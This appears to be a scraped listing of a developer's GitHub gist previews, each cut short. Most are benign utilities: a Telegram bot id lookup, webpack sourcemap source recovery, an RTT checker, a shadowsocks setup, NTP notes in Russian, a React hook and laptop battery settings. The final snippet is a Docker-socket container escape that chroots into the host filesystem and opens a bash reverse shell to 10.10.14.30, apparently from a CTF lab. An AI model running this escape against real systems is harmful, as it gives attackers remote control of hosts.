- Create a bot using @BotFather, get it's token
- Start conversation with bot
- Run following curl command
curl https://api.telegram.org/bot/getUpdates | grep -Po '"from":{"id":.+?,'
/** | |
* Creates a read/writable property which returns a function set for write/set (assignment) | |
* and read/get access on a variable | |
* | |
* @param {Any} value initial value of the property | |
*/ | |
function createProperty(value) { | |
var _value = value; | |
/** |
/** | |
* If you have a website source bundled with webpack and are lucky to have a sourcemap nearby, | |
* then you are able to fully reconstruct original code + folders structure. | |
* Place this file at the root of project. | |
* Provide the path to sourcemap + the path to where you'd like to extract original codebase. | |
*/ | |
const fs = require('fs'); | |
const path = require('path'); | |
const sourceMap = require('source-map'); |
curl https://api.telegram.org/bot/getUpdates | grep -Po '"from":{"id":.+?,'
#!/bin/bash | |
# Useful for checking rtt to any sotname of interest. | |
# Since servers usually have balancers or dns balancing is in place it is helpful to test every ip. | |
IPS=$(host $1 | grep "has address" | awk '{ print $4 }') | |
REQ_AMOUNT=${2:-5} | |
# Loop through each IP address | |
for IP in $IPS; do |
############ | |
# HOW TO CONNECT FROM LINUX? | |
# HERE IS THE SCRIPT TO SETUP YOUR PC | |
############ | |
# | |
sudo apt install -y shadowsocks-libev wget | |
sudo wget -O- "https://github.com/shadowsocks/v2ray-plugin/releases/download/v1.3.1/v2ray-plugin-linux-amd64-v1.3.1.tar.gz" | tar -zxv |
Leap: normal - корректировка мирового времени между электромагнитыми атомическими часами и определяемыми по планетам, не важно | |
Version: 4 - версия ntp протокола, последняя 4, не важно | |
Stratum: 1 - номер сервера в иерархии серверов синхронизации, 0 = атомические часы, 1 = сервер подключенный к ним локально, 2 = сервер подключенный по сети (уже плохо), играет роль, 1 - хорошо | |
Reference: PPS - указывает ориджин времени, PPS = Generic pulse-per-second, атомические часы на пульсации электронов, не важно) | |
Precision: 4us (-18) - сколько требуется микросекунд для доступа к системному времени |
import React from 'react';
/**
* @param {string} storageKey
* @param {*} initialState
* @param {number} expiration
*/
export const useStateWithLocalStorage = (storageKey, initialState, expiration) => {
const [value, setValue] = React.useState(() => {
#Check if Ideapad_laptop kernel module is loaded
lsmod | grep ideapad_laptop
# 1 on, 0 off
cat /sys/bus/platform/drivers/ideapad_acpi/VPC2004:00/conservation_mode
echo 1 | sudo tee /sys/bus/platform/drivers/ideapad_acpi/VPC2004:00/conservation_mode
echo 0 | sudo tee /sys/bus/platform/drivers/ideapad_acpi/VPC2004:00/conservation_mode
#!/bin/bash | |
# you can see images availables with | |
# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | |
# here we have sandbox:latest | |
# command executed when container is started | |
# change dir to tmp where the root fs is mount and execute reverse shell | |
cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]" |